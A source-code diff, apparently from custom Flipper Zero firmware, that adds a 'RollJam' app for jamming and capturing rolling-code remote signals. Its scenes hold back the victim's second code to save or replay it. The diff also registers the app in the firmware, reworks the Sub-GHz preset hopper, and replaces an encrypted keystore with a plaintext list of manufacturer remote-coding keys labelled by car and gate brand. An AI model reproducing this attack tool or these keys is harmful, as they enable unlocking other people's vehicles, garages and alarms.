RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventStartAttack) {
// Clear previous captures
memset(&app->signal_first, 0, sizeof(RawSignal));
memset(&app->signal_second, 0, sizeof(RawSignal));
scene_manager_next_scene(
app->scene_manager, RollJamSceneAttackPhase1);
return true;
}
}
return false;
}
void rolljam_scene_menu_on_exit(void* context) {
RollJamApp* app = context;
variable_item_list_reset(app->var_item_list);
}

View File

@@ -0,0 +1,111 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 4 / Result: user chooses to SAVE or REPLAY 2nd code
// ============================================================
static void result_dialog_callback(DialogExResult result, void* context) {
RollJamApp* app = context;
if(result == DialogExResultLeft) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSaveSignal);
} else if(result == DialogExResultRight) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventReplayNow);
}
}
void rolljam_scene_result_on_enter(void* context) {
RollJamApp* app = context;
dialog_ex_reset(app->dialog_ex);
dialog_ex_set_header(
app->dialog_ex, "Attack Complete!",
64, 2, AlignCenter, AlignTop);
dialog_ex_set_text(
app->dialog_ex,
"1st code: SENT to target\n"
"2nd code: IN MEMORY\n\n"
"What to do with 2nd?",
64, 18, AlignCenter, AlignTop);
dialog_ex_set_left_button_text(app->dialog_ex, "Save");
dialog_ex_set_right_button_text(app->dialog_ex, "Send");
dialog_ex_set_result_callback(app->dialog_ex, result_dialog_callback);
dialog_ex_set_context(app->dialog_ex, app);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewDialogEx);
}
bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSaveSignal) {
// Save to .sub file
rolljam_save_signal(app, &app->signal_second);
popup_reset(app->popup);
popup_set_header(
app->popup, "Saved!",
64, 20, AlignCenter, AlignCenter);
popup_set_text(
app->popup,
"File saved to:\n/ext/subghz/rolljam_*.sub\n\nPress Back",
64, 38, AlignCenter, AlignCenter);
popup_set_timeout(app->popup, 5000);
popup_enable_timeout(app->popup);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewPopup);
notification_message(app->notification, &sequence_success);
return true;
} else if(event.event == RollJamEventReplayNow) {
// Show sending screen
popup_reset(app->popup);
popup_set_header(
app->popup, "Transmitting...",
64, 20, AlignCenter, AlignCenter);
popup_set_text(
app->popup, "Sending 2nd code NOW",
64, 38, AlignCenter, AlignCenter);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewPopup);
// Transmit second signal
rolljam_transmit_signal(app, &app->signal_second);
notification_message(app->notification, &sequence_success);
popup_set_header(
app->popup, "Done!",
64, 20, AlignCenter, AlignCenter);
popup_set_text(
app->popup,
"2nd code transmitted!\n\nPress Back",
64, 38, AlignCenter, AlignCenter);
popup_set_timeout(app->popup, 5000);
popup_enable_timeout(app->popup);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
scene_manager_search_and_switch_to_another_scene(
app->scene_manager, RollJamSceneMenu);
return true;
}
return false;
}
void rolljam_scene_result_on_exit(void* context) {
RollJamApp* app = context;
dialog_ex_reset(app->dialog_ex);
popup_reset(app->popup);
}

View File

@@ -0,0 +1,53 @@
#include "rolljam_attack_view.h"
#include <gui/canvas.h>
// ============================================================
// Custom drawing for attack status
// Reserved for future use with a custom View
// Currently the app uses Widget modules instead
// ============================================================
void rolljam_attack_view_draw(Canvas* canvas, AttackViewState* state) {
canvas_clear(canvas);
// Title bar
canvas_set_font(canvas, FontPrimary);
canvas_draw_str_aligned(
canvas, 64, 2, AlignCenter, AlignTop, state->phase_text);
// Separator
canvas_draw_line(canvas, 0, 14, 128, 14);
// Status
canvas_set_font(canvas, FontSecondary);
canvas_draw_str_aligned(
canvas, 64, 18, AlignCenter, AlignTop, state->status_text);
// Indicators
int y = 32;
if(state->jamming) {
canvas_draw_str(canvas, 4, y, "JAM: [ACTIVE]");
// Animated dots could go here
} else {
canvas_draw_str(canvas, 4, y, "JAM: [OFF]");
}
y += 12;
if(state->capturing) {
canvas_draw_str(canvas, 4, y, "RX: [LISTENING]");
} else {
canvas_draw_str(canvas, 4, y, "RX: [OFF]");
}
y += 12;
// Signal counter
char buf[32];
snprintf(buf, sizeof(buf), "Signals: %d / 2", state->signal_count);
canvas_draw_str(canvas, 4, y, buf);
// Footer
canvas_set_font(canvas, FontSecondary);
canvas_draw_str_aligned(
canvas, 64, 62, AlignCenter, AlignBottom, "[BACK] cancel");
}

View File

@@ -0,0 +1,23 @@
#pragma once
#include "../rolljam.h"
/*
* Custom view for attack visualization.
* Currently the app uses Widget and DialogEx for display.
* This file is reserved for a future custom canvas-drawn view
* (e.g., signal waveform display, animated jamming indicator).
*
* For now it provides a simple status draw function.
*/
typedef struct {
const char* phase_text;
const char* status_text;
bool jamming;
bool capturing;
int signal_count;
} AttackViewState;
// Draw attack status on a canvas (for future custom View use)
void rolljam_attack_view_draw(Canvas* canvas, AttackViewState* state);

View File

@@ -8,6 +8,7 @@ App(
"lfrfid",
"nfc",
"subghz",
"rolljam",
"subghz_bruteforcer",
"archive",
"subghz_remote",

View File

@@ -30,11 +30,9 @@ static const char* const known_ext[] = {
[ArchiveFileTypeBadUsb] = ".txt",
[ArchiveFileTypeU2f] = "?",
[ArchiveFileTypeApplication] = ".fap",
[ArchiveFileTypeJS] = ".js",
[ArchiveFileTypeUpdateManifest] = ".fuf",
[ArchiveFileTypeFolder] = "?",
[ArchiveFileTypeUnknown] = "*",
[ArchiveFileTypeAppOrJs] = ".fap|.js",
[ArchiveFileTypeSetting] = "?",
};
@@ -47,7 +45,7 @@ static const ArchiveFileTypeEnum known_type[] = {
[ArchiveTabInfrared] = ArchiveFileTypeInfrared,
[ArchiveTabBadUsb] = ArchiveFileTypeBadUsb,
[ArchiveTabU2f] = ArchiveFileTypeU2f,
[ArchiveTabApplications] = ArchiveFileTypeAppOrJs,
[ArchiveTabApplications] = ArchiveFileTypeApplication,
[ArchiveTabInternal] = ArchiveFileTypeUnknown,
[ArchiveTabBrowser] = ArchiveFileTypeUnknown,
};

View File

@@ -18,10 +18,8 @@ typedef enum {
ArchiveFileTypeU2f,
ArchiveFileTypeApplication,
ArchiveFileTypeUpdateManifest,
ArchiveFileTypeJS,
ArchiveFileTypeFolder,
ArchiveFileTypeUnknown,
ArchiveFileTypeAppOrJs,
ArchiveFileTypeSetting,
ArchiveFileTypeLoading,
} ArchiveFileTypeEnum;

View File

@@ -29,8 +29,6 @@ static const char* archive_get_flipper_app_name(ArchiveFileTypeEnum file_type) {
return "U2F";
case ArchiveFileTypeUpdateManifest:
return "UpdaterApp";
case ArchiveFileTypeJS:
return "JS Runner";
case ArchiveFileTypeFolder:
return "Archive";
default:

View File

@@ -36,8 +36,6 @@ static const Icon* ArchiveItemIcons[] = {
[ArchiveFileTypeFolder] = &I_dir_10px,
[ArchiveFileTypeUnknown] = &I_unknown_10px,
[ArchiveFileTypeLoading] = &I_loading_10px,
[ArchiveFileTypeJS] = &I_js_script_10px,
[ArchiveFileTypeAppOrJs] = &I_unknown_10px,
};
void archive_browser_set_callback(

View File

@@ -35,6 +35,9 @@ SubGhzTxRx* subghz_txrx_alloc(void) {
instance->txrx_state = SubGhzTxRxStateSleep;
subghz_txrx_hopper_set_state(instance, SubGhzHopperStateOFF);
subghz_txrx_preset_hopper_set_state(instance, SubGhzPresetHopperStateOFF);
instance->preset_hopper_idx = 0;
instance->preset_hopper_timeout = 0;
subghz_txrx_speaker_set_state(instance, SubGhzSpeakerStateDisable);
subghz_txrx_set_debug_pin_state(instance, false);
@@ -495,63 +498,153 @@ void subghz_txrx_hopper_pause(SubGhzTxRx* instance) {
}
}
bool subghz_txrx_mod_hopper_get_running(SubGhzTxRx* instance) {
void subghz_txrx_preset_hopper_update(SubGhzTxRx* instance, float stay_threshold) {
furi_assert(instance);
return instance->mod_hopper_running;
}
void subghz_txrx_mod_hopper_set_running(
SubGhzTxRx* instance,
bool running,
uint8_t dwell_ticks,
float rssi_threshold) {
furi_assert(instance);
instance->mod_hopper_running = running;
instance->mod_hopper_dwell = dwell_ticks;
instance->mod_hopper_rssi_threshold = rssi_threshold;
if(running) instance->mod_hopper_timer = dwell_ticks;
}
void subghz_txrx_mod_hopper_update(SubGhzTxRx* instance, float current_rssi) {
furi_assert(instance);
if(!instance->mod_hopper_running) return;
// If RSSI gating is enabled and signal is present, pause hopping
if(!isnan(instance->mod_hopper_rssi_threshold) &&
current_rssi > instance->mod_hopper_rssi_threshold) {
instance->mod_hopper_timer = instance->mod_hopper_dwell;
switch(instance->preset_hopper_state) {
case SubGhzPresetHopperStateOFF:
case SubGhzPresetHopperStatePause:
return;
case SubGhzPresetHopperStateRSSITimeOut:
if(instance->preset_hopper_timeout != 0) {
instance->preset_hopper_timeout--;
return;
}
break;
default:
break;
}
if(instance->mod_hopper_timer > 0) {
instance->mod_hopper_timer--;
return;
if(instance->preset_hopper_state != SubGhzPresetHopperStateRSSITimeOut) {
float rssi = subghz_devices_get_rssi(instance->radio_device);
if(rssi > stay_threshold) {
instance->preset_hopper_timeout = 20;
instance->preset_hopper_state = SubGhzPresetHopperStateRSSITimeOut;
return;
}
} else {
instance->preset_hopper_state = SubGhzPresetHopperStateRunning;
}
instance->mod_hopper_timer = instance->mod_hopper_dwell;
size_t count = subghz_setting_get_preset_count(instance->setting);
if(count == 0) return;
size_t hopper_preset_count = subghz_setting_get_hopper_preset_count(instance->setting);
// Advance index, skip CUSTOM presets
uint8_t tries = 0;
do {
instance->mod_hopper_idx = (instance->mod_hopper_idx + 1) % count;
tries++;
} while(tries < count &&
strcmp(
subghz_setting_get_preset_name(instance->setting, instance->mod_hopper_idx),
"CUSTOM") == 0);
if(hopper_preset_count > 0) {
if(instance->preset_hopper_idx < hopper_preset_count - 1) {
instance->preset_hopper_idx++;
} else {
instance->preset_hopper_idx = 0;
}
const char* preset_name =
subghz_setting_get_preset_name(instance->setting, instance->mod_hopper_idx);
uint8_t* preset_data =
subghz_setting_get_preset_data(instance->setting, instance->mod_hopper_idx);
size_t preset_data_size =
subghz_setting_get_preset_data_size(instance->setting, instance->mod_hopper_idx);
size_t actual_preset_idx = subghz_setting_get_hopper_preset_index(
instance->setting, instance->preset_hopper_idx);
subghz_txrx_set_preset(
instance, preset_name, instance->preset->frequency, preset_data, preset_data_size);
subghz_txrx_rx_start(instance);
if(instance->txrx_state == SubGhzTxRxStateRx) {
subghz_txrx_rx_end(instance);
}
if(instance->txrx_state == SubGhzTxRxStateIDLE) {
const char* old_preset_name = furi_string_get_cstr(instance->preset->name);
const char* preset_name =
subghz_setting_get_preset_name(instance->setting, actual_preset_idx);
subghz_txrx_set_preset_internal(
instance, instance->preset->frequency, actual_preset_idx, 0);
bool old_is_am = (strstr(old_preset_name, "AM") != NULL);
bool new_is_am = (strstr(preset_name, "AM") != NULL);
bool modulation_changed = (old_is_am != new_is_am);
if(modulation_changed) {
subghz_devices_reset(instance->radio_device);
subghz_devices_load_preset(
instance->radio_device,
FuriHalSubGhzPresetCustom,
instance->preset->data);
} else {
subghz_devices_load_preset(
instance->radio_device,
FuriHalSubGhzPresetCustom,
instance->preset->data);
}
subghz_txrx_rx(instance, instance->preset->frequency);
}
} else {
size_t preset_count = subghz_setting_get_preset_count(instance->setting);
if(instance->preset_hopper_idx < preset_count - 1) {
instance->preset_hopper_idx++;
} else {
instance->preset_hopper_idx = 0;
}
if(instance->txrx_state == SubGhzTxRxStateRx) {
subghz_txrx_rx_end(instance);
}
if(instance->txrx_state == SubGhzTxRxStateIDLE) {
const char* old_preset_name = furi_string_get_cstr(instance->preset->name);
const char* preset_name =
subghz_setting_get_preset_name(instance->setting, instance->preset_hopper_idx);
subghz_txrx_set_preset_internal(
instance, instance->preset->frequency, instance->preset_hopper_idx, 0);
bool old_is_am = (strstr(old_preset_name, "AM") != NULL);
bool new_is_am = (strstr(preset_name, "AM") != NULL);
bool modulation_changed = (old_is_am != new_is_am);
if(modulation_changed) {
subghz_devices_reset(instance->radio_device);
subghz_devices_load_preset(
instance->radio_device,
FuriHalSubGhzPresetCustom,
instance->preset->data);
} else {
subghz_devices_load_preset(
instance->radio_device,
FuriHalSubGhzPresetCustom,
instance->preset->data);
}
subghz_txrx_rx(instance, instance->preset->frequency);
}
}
}
SubGhzPresetHopperState subghz_txrx_preset_hopper_get_state(SubGhzTxRx* instance) {
furi_assert(instance);
return instance->preset_hopper_state;
}
void subghz_txrx_preset_hopper_set_state(SubGhzTxRx* instance, SubGhzPresetHopperState state) {
furi_assert(instance);
instance->preset_hopper_state = state;
if(state == SubGhzPresetHopperStateRunning) {
subghz_devices_reset(instance->radio_device);
subghz_devices_load_preset(
instance->radio_device,
FuriHalSubGhzPresetCustom,
instance->preset->data);
}
}
void subghz_txrx_preset_hopper_unpause(SubGhzTxRx* instance) {
furi_assert(instance);
if(instance->preset_hopper_state == SubGhzPresetHopperStatePause) {
instance->preset_hopper_state = SubGhzPresetHopperStateRunning;
}
}
void subghz_txrx_preset_hopper_pause(SubGhzTxRx* instance) {
furi_assert(instance);
if(instance->preset_hopper_state == SubGhzPresetHopperStateRunning) {
instance->preset_hopper_state = SubGhzPresetHopperStatePause;
}
}
void subghz_txrx_preset_hopper_reset_index(SubGhzTxRx* instance, size_t index) {
furi_assert(instance);
instance->preset_hopper_idx = index;
}
void subghz_txrx_speaker_on(SubGhzTxRx* instance) {

View File

@@ -164,37 +164,17 @@ void subghz_txrx_hopper_unpause(SubGhzTxRx* instance);
*/
void subghz_txrx_hopper_pause(SubGhzTxRx* instance);
/**
* Update modulation (preset) CC1101 in automatic mode (mod hopper)
* Cycles through available presets at the configured dwell time.
* Pauses hopping when current_rssi exceeds the configured threshold.
*
* @param instance Pointer to a SubGhzTxRx
* @param current_rssi Current RSSI reading from the radio
*/
void subghz_txrx_mod_hopper_update(SubGhzTxRx* instance, float current_rssi);
void subghz_txrx_preset_hopper_update(SubGhzTxRx* instance, float stay_threshold);
/**
* Set mod hopper running state with configuration
*
* @param instance Pointer to a SubGhzTxRx
* @param running true to enable, false to disable
* @param dwell_ticks Ticks to dwell on each modulation (100ms per tick)
* @param rssi_threshold RSSI threshold to pause hopping (NAN = no gating)
*/
void subghz_txrx_mod_hopper_set_running(
SubGhzTxRx* instance,
bool running,
uint8_t dwell_ticks,
float rssi_threshold);
SubGhzPresetHopperState subghz_txrx_preset_hopper_get_state(SubGhzTxRx* instance);
/**
* Get mod hopper running state
*
* @param instance Pointer to a SubGhzTxRx
* @return true if mod hopping is active
*/
bool subghz_txrx_mod_hopper_get_running(SubGhzTxRx* instance);
void subghz_txrx_preset_hopper_set_state(SubGhzTxRx* instance, SubGhzPresetHopperState state);
void subghz_txrx_preset_hopper_unpause(SubGhzTxRx* instance);
void subghz_txrx_preset_hopper_pause(SubGhzTxRx* instance);
void subghz_txrx_preset_hopper_reset_index(SubGhzTxRx* instance, size_t index);
/**
* Speaker on

View File

@@ -19,11 +19,9 @@ struct SubGhzTxRx {
bool is_database_loaded;
SubGhzHopperState hopper_state;
uint8_t mod_hopper_idx; // index into setting presets (wraps around)
uint8_t mod_hopper_timer; // countdown ticks before advancing modulation
uint8_t mod_hopper_dwell; // stored dwell ticks (configurable)
float mod_hopper_rssi_threshold; // RSSI threshold; NAN = no RSSI gating
bool mod_hopper_running; // is mod hopping active
uint8_t preset_hopper_timeout;
size_t preset_hopper_idx;
SubGhzPresetHopperState preset_hopper_state;
SubGhzTxRxState txrx_state;
SubGhzSpeakerState speaker_state;

View File

@@ -29,6 +29,14 @@ typedef enum {
SubGhzHopperStateRSSITimeOut,
} SubGhzHopperState;
/** SubGhzPresetHopperState state */
typedef enum {
SubGhzPresetHopperStateOFF,
SubGhzPresetHopperStateRunning,
SubGhzPresetHopperStatePause,
SubGhzPresetHopperStateRSSITimeOut,
} SubGhzPresetHopperState;
/** SubGhzSpeakerState state */
typedef enum {
SubGhzSpeakerStateDisable,
@@ -85,6 +93,7 @@ typedef enum {
SubGhzViewIdFrequencyAnalyzer,
SubGhzViewIdReadRAW,
SubGhzViewIdPsaDecrypt,
SubGhzViewIdKeeloqDecrypt,
} SubGhzViewId;

View File

@@ -1,107 +1,108 @@
Filetype: Flipper SubGhz Keystore File
Version: 0
Encryption: 0
0000000000000000:1:Allgate_Simple
0000000023304758:6:KGB/Subaru
0000000033205748:7:Magic_2
00000000C3644917:2:VAG_Custom_Seed
0102030410203040:1:IronLogic
0123456789ABCDEF:2:Stilmatic
0132456789ABCDEF:1:Pandora_Test_Debug_2
05AEDAABAA981903:1:Rosh
08AEDAABAA981903:1:Dea_Mio
1067DC33E7D88A46:0:Leopard
12332594A9189478:1:Sheriff
1234567812345678:2:NICE_Flor_S
1234567890123456:1:Cenmax
188B0544A9B1DF14:2:Centurion
1961DAC2EB198847:2:Guard_RF-311A
1B36977B281597AC:1:Pandora_PRO
207DBBE59D386F44:2:Cardin_S449
2156EB02D8E9B977:1:Pandora_DEA
2255EA01DBEABA76:1:Pandora_GIBIDI
2354E900DAEBBB75:1:Pandora_MCODE
2453EE07DDECBC72:1:Pandora_Unknown_1
2552EF06DCEDBD73:1:Pandora_SUZUKI
2587010764070864:1:Harpoon
2626991902991902:1:Gibidi
2651EC05DFEEBE70:1:Pandora_Unknown_2
27193A9B117C0835:11:Jarolift
2739451414471820:2:Audii
2750ED04DEEFBF71:2:Pandora_NISSAN
30317B307D794471:1:KEY
314C3865304E3961:1:Novoferm
32130221685B9D8C:2:VAG_HELLA_VPM2
3519B934A4227995:1:Pandora_SUBARU
352BABACA5F4DFE0:1:Pecinin
381D7D9A2A17AE99:1:Pandora_M101
3E461AB4F76DA19B:2:Merlin
4030201004030201:1:IL-100(Smart)
4130850A82610A14:1:Pantera_CLK
414C455831393830:1:Kingates_Stylo4k
4292903083134583:2:Monarch
434144494C4C4143:2:Cadillac_GM
43485259534C4552:2:Chrysler
444145574F4F0000:2:Daewoo
4772736565734769:1:Aprimatic
484D6C6D73545253:1:NICE_MHOUSE
484F4E4441200000:2:Honda
4859554E44414920:2:Hyundai_Asia
4C6D4D7A55644F76:3:BFT
4D41474E64796E65:1:Pantera
4D49545355424953:2:Mitsubishi
4E495353414E2000:2:Nissan
535446524B453030:13:KIAV5
53555A554B490000:2:Suzuki
53696C7669618C14:5:FAAC_SLH
54365CB7676284F9:1:Alligator_S-275
544F594F54410000:2:Toyota
54524D534543494E:1:NICE_Smilo
5504045708301203:1:SL_A6-A9/Tomahawk_9010
572768229476CAFF:2:Motorline
638664A880AA23FC:11:KIAV6A
6408076407018725:1:Tomahawk_TZ-9030
66B446B980AC752B:1:Cenmax_St-7
67732C5056334627:1:Pantera_XS/Jaguar
685B9D8C5A130221:2:VAG_HELLA_VPM
68732C5056334728:1:APS-1100_APS-2550
6912FA557DC2418A:0:Reff
6B8E6CA088A22BF4:12:KIAV6B
6D69736572657265:2:BFT_Miserere
6EB6AE4815C63ED2:9:Beninca_ARC
6F5E4D3B2AABCDEF:1:Tomahawk_Z,X_3-5
7BCBEED4376EDCBF:2:Sommer
7EAF1E9A392B19B9:1:Pandora_PRO2
8455F43584941223:1:DoorHan
8607427861394E30:2:EcoStar
8765432187654321:2:Sommer_FM_868
89146E59537903B7:1:JCM_Tech
8A326438B62287F5:0:Faraon
8BC9E46704700800:1:Vag
96638C36C99C2C9B:1:Came_Space
9804655AA5000000:8:Magic_4
9BF7F89BF8FE78DA:1:SL_A2-A4
9C61FD3A47B8E25C:2:Elmes_Poland
9DA08153CF312BA7:1:Normstahl
A8F5DFFC8DAA5CDB:10:KIA
A9748532B7655297:2:GSN
AA38A7A32189B5A1:0:Mutanco_Mutancode
AAFBFBA8F7CFEDFC:1:Cenmax_St-5
AC35BB2759000000:8:Magic_3
AD3C12A17028F11E:1:Partisan_RX
B3E5625A8CCD7139:2:Steelmate
B51526E8F126D1D7:0:Teco
B51A7AAB27351596:0:ZX-730-750-1055
BBEE9EDDAAF97ECC:1:Jolly_Motors
CEB6AE48B5C63ED2:4:Beninca
D5A5E7B2A7C1A0BA:2:Mongoose
E5D2C83529C113E6:2:VAG_HELLA_PWM
EEF3D4B2626C5578:1:Alligator
F1A3E552C8647E55:2:Comunello
F250006EF29E030E:2:Vauweh
F6E5D4B32ABADCFE:1:SL_B6,B9_dop
FAAC05600001FAAC:2:FAAC_RC,XT
FAAC05600002FAAC:2:Genius_Bravo
FADA12FADA34F0DA:1:Rossi
FC4DE22CD5370320:1:DTM_Neo
FEDCBA9876543210:2:Came_Tam
Encryption: 1
IV: 41 52 46 5F 54 68 65 5F 46 69 72 6D 77 61 72 65
1F55E94BD99C5FCA4E8CD620CB2F014854B25B5A5AC7633F7B8C2CE3993328A7A275ED382F23319461EC7B2E2BC450AC
71DF40F4D16CF30DC5223ED59B395704BC67271E3058CB09D7F5D9CEE1C04852
250208FB825F12A07A8C3F295C3B5FA69F52F2C9CA80452FDD1AEFC5A25F24DC
9D6D26F67532E91FE89476A9E754A60DF8ECE7B92CD1772A7AD3190FCABF06414C0A3762E0012D102798EE204A5549EC
0DCC0382D81B9D3E291FDEDDC697E2841D88A326D2869BA29F248D5DA4C96110
F84B5EB3BB882F76E0264A5A1791EDAC8A1CA35E7579EA4D247E473EB1F8F4C1
F8A4AFFF527E13643AC511900CF1764408691F60ABD1373E6AFE477E9967FD7F57E3CE41AE4700722DFA383BC64E9669
265C0060DE53B95EF07EE3E00045A6D03C89FE1D89F90EA3A2AFBFDB4A4636D6
DA1EBA6372C50D2072AC38CAACA3B023DEFDAE50987E764BEDA1E9FE53390CBA
1C0378D5294FC62DCD95A385B3AD2E6FACC13D9AAC37EF7BCE4341E33876BCE8
68AA58FB1DCDC05E56E0685DC57661333F66D890C6377771327DFB5EBEDA6AE1
E647CDE269D1DC5F404830C30B3CE38D8C0B6E928DB4E8863523799E51977B2B
AB40C8B0815B04C84BA1B1ACFFC93F20FE7F60F64AAE6E6AD4562415E6EFC049
DCD258016EB06D81DFC494261017E9DF36601076970EA09B008EEA43DA0E68EE
321F568C032B4C8B0B392A868ECC0D87EC9969E328FA35BBE9656701C77C35A8
E14A72B0B0689AA7E08A6081E56A00862A34808D77111DE804DDFA39FFCF6782
FF2573046D35FAA029BF0871A2D3216029B66927CECF527C72F192E06E13C3DC
FF890BCB54AD911EE78345FCC4F2DA65B653D68C7F6774C74DC998A2295F4916
8D1D92B53C1DD31BE8E1759640471793EFA8E987A4EDEE64A6DF658F2F67C136F5EFC0E895493BC02DB11B783E04DF84
20FD4B91D4169332B3CCCBDAB4FA5C730F37FF16A283ADBA6EA9D80F5D9C9F26
7B710488CFE33CE2EDDD37A3E864A517F7309FB097F8959497A5AD42B0E5C8AC2BA7AC6CD6B0BFCDEF5C88F4A995F20C
00D242BF328330A11124C423779CC73379BB80B8071CEFB8F413ED3C9A11BB1F7D4B3B22CA0AC10A74A68887E0994259
5BA325DD503C710D0BC153C50A2CC4F621AB6AE87E9CBBCD2996ED1B2FA1A854
731724428F104BB5697E7705B3E0834B41202A9F2D49C90C4889DDDB21F5AC3E
A22BAAB3818146B7B099CD3D65634F7CEBAD36015E7A5A16206ADFBD51988E038F2F62D273CA65CC592AF7DEB805510A
8DD12F73EF956047011A61C212986775D2A41F98E629DD78C6FA70C0E2634ECA
25D57BF539C51295524A53E5EF633547C54CB3D9A8072D9CAD897CEBD2AED3B3
C54BA9B2D4C6DFDC639E2964316D5311B2A039631880D5F4986E38D63976E28EABFF01B643EFC853DFB8E2E1622A7674
7A4062817B4848748A66AB34F9A4DA942BB3FE82CE1E264A12297FB7C6CF68B4
65DC6DC85C44CF8D04F7B786C16D30F9BB12C7AE80B68612464021CAAEB196AD
DD1F98CF4AF384B2412A786614C16109ED8FF9E842DCFF8E859B1D27BF1E08AD4C31793D1A6E07F8BCC7E5E0BCD4DF3B
C0FF96999B5AC49EDCDFF82A51968F2A985D240A2AC91178C02B34DDD5F2EE77DA0804D9E47470889DC8FC8BA01B2C11
51BAEBB4763C7E2A57C638ED824D83C73FB5E3E128992BBAAB7690CED5B40310
947F12090F89793CE465816679654F5E6397E3A15D726DF86A6023E6E8ABB065
B70CC56D0AF6F8E04E63031BBCB02EED4DB59A80B81FD4F67B8B61DFA57A0D51
C3DC0E9717759C36DFBDA6CCDD146B54C5F1A52A3C3802ADE9D2303BD179F5CE
5728832CD50226018ADD6A4736866EE4E932616C1CE74D67E2CE00D1427CBD96
222A41966802B8607EF496D898D5BCA41BD9D891552F53FD809C81C487EBB8C25DB6CA656AFF45D5911BE9B10BADBDF5
E171BE8EEC7773BB6AC1EC6B8AD13696267770931E4D72ADEB6A519A085F4EAF
29FA68F7BB01E55AA738A68866F674CF34873E6109C328D4654FF3CCAE7D3C73
E6791ABDD092843AE7A9B3A936B1AA77B812FF16CEA352F7972F132480AA4561
701A4DCFF6C7A56D9DAC77F071220F7C28B8206BB5F3213F5761C8ED6DABEDC6
AA4678E9AF3FE65F9B8E90A5CC95034CF510F1BD2C26DC89200CDAF3E15A9990
A13B1578F6A2241830208014AD3E864CB0AA442AFF02952F3C2FCCC4F33140B2
7C08CEC7BD2CC73EC9C436D32BB692E9020B9E043CF5F428705097F0AB141DEF
8F39C7668AD33A2F66E5451E07CDF87D4B44FC962DEDE7D68365EA8E729A058E
67F6C50C2D1BDEF471913E405A182D91040D4F4160484ED8762037F7F2EE8EBA
4DF3627B7F42226780EB3C247F18C1F37CD25AA22C120F69B732A1FAC9D02C8A
2A277456C8BA44CDC5A44D4353B9FA04D3F45743DB04B1E659F7DB4A8219672E
1E749351CBE258D2B8710B48FF9D3F4034244C7CAEA25C93FA4A2E04E2F4CB59
AEEA5813C69800830540B6768FCD0EF35A43FA58F6A8315AE06545A6103112D1
5A773FDCBABB5C9ADAD19B356D0300D5A5E905E6FEDED53D209A9BE2853C5BD8
F7C5AA9B29EB56D16610B560F65E99E78DCFE9463E6347E9477F387AC5756B05
59AF0DCF53E422B553B250F9131E365D9265ACA04C1763CEA379459D8E2D2026E4C6523DBEC8CFA9D2C287C7AB6F8719
CC11C8105B3643EAF8F935EE3E5408181CD7A41011EDF11F37D8BE45A70CB5A2
0B71155A1BFE1A61D1C6122EC9961CF97BF34C188AEEA1FCBDA8A56631180926
C4EA8825FB1030BDFCAD7A991F3CC7D65CA4300E1ABA4C53EB7287CF33031286E699217258B9CECCF99412915C50A579
A38F7B2D60ECD413609AF9A02924D50591FB07C2EF95B8512569E48D613855F0
6EBF32A7D2070E13A7EB01CB3CB3C62A2173DD56AC3627320B54E3D3211BCBC2
CCD92DEBB91582B72DC921F8675002399299C243C6AE9BADFE3EEB1BCC79512C3FEA1A83393F795AC6E0546B3FFAE364
491AD804382AA360C866082778A8ABA358FF9586A955BD5A9FD28FDF0B05744B
9D6D8647BC32B0A4EE08F2D361B13037BA596402E6BEB4ED9D3D582F5552C89B9D96CD6836DF15E55251ED39E5D0E8C4
BE92434BC3F646A192146500D150462E8FDFADB93E0DC8C1BE1B2F9E4B3A762B
7FA5E6D202BE57AA4DAFE94090FA8F84D483C3A6DEFD7EDF69D0F9972F55212EEBA83C847A8374059280AEDB24BA11BC
B6CDA34C4E8DFE3E509A22DC89B67E9706A980198D3FC522362B59647D79DBEA
BEED72A8B1DFBABF59D58D8EA98385BF706BDF403E3F84702D0BF5D87E0FAEBC
B049623264E92A557F1F6B04546D0D73889BF732ACE3109583CD52E226D8C2BC
91881B87503555F8A82E3E4314C1276F636BD5F2BB451FF1E131CB8CD0E089BF
AEA6163792A3B2D587F9270752F9D744849621E8A4DF9B5B82DFF06297DA828D4A95DD8E71267E560BFEB6C2EDB06F2A
98CEA896C163DBE5C9839CAE6E09DF46EE9AEC8A8978C5B018DB80E1081E01A3
27759BD9760153C94F982ADD85DA3F7FDD51EF17B3791968417ACDEBEBE59F9C
716574AB5E60E65600B86A66F6C8A6536FB97792D5B9A5EDE477D5B623F118B1
740FD62AFEF9D781976A5C01D8041B00A0D69DE56F1FAE030CC680D0D81793CB
9BFF7A62569BA492B586CA27B2A87F96861F5564696AD3F779A58C09955A6342
9BBF2793C0326BD03BA66A59BE65977C68225E26A55AAA6B56AC4F1D21B795DB
B8D4A1B5134B09C81B586A8ADDFA6292DE50CA84D0FAA9448D610C68129FD9CD
46827F0D09BEBFF241B4615EF4F9E5ADDB559EB87F4FC15A2AC58816969E186A
B090E1924CEF93ADC559E876CC71D174A43FE7ECB0FA2A7D748BD51E9B4D9780
8E8BFD7D356C101EB4998068767D9C259BE6C86A3BCE682C7BC05A8E6B32E106
8E57374694C5EB4A928B5BC25AD17ED2A0FF9563ADFEE22DA5C5CB15896C8C08
F4DF5C45823C2F3C590D6D962D0B46CB7442CFE1CE9930159E03C6D1B99A728E
72B3D5150BD2BFF2411DC4C85673D29B22649FA2F7CD4309C2C3BEB834D44CF8
51E14868A82570D2736DB6BDA6ADF110ABABC3982A1CD3F3107C9A4774DA2C49
7AFC1EA6CFAD93CBD16D7C6783E425378405F4E45A1F4757C5703513B693B069
944DD7315336FF24EC1D08211FF22DE40669C2D3F5D1F8C6907E6E0DD0F3024B9C536D32C4D4D1B05C0DA2AF139156BC
F78DB3774E964AF6EA61A0E6CB6FA311A63777DD6C82E83CF1508A4845AD995A
ADE6563483B98ABBA28FCC0AC6A6D046EBA57C28C9274938E47D07F78B3256B9
717C322142EAD4B0160D208CAB0EC6062A79D4CE917C805757A8812E7E1BE2B4
C6647C1643449A8E0A99F42AF0467376318FECE96EB11297EA6EC979CD50335B
CAFDBBCA3A8DCE026E6C131435656FA5B2FE2AB7340D227D37C7318C498B3F0C
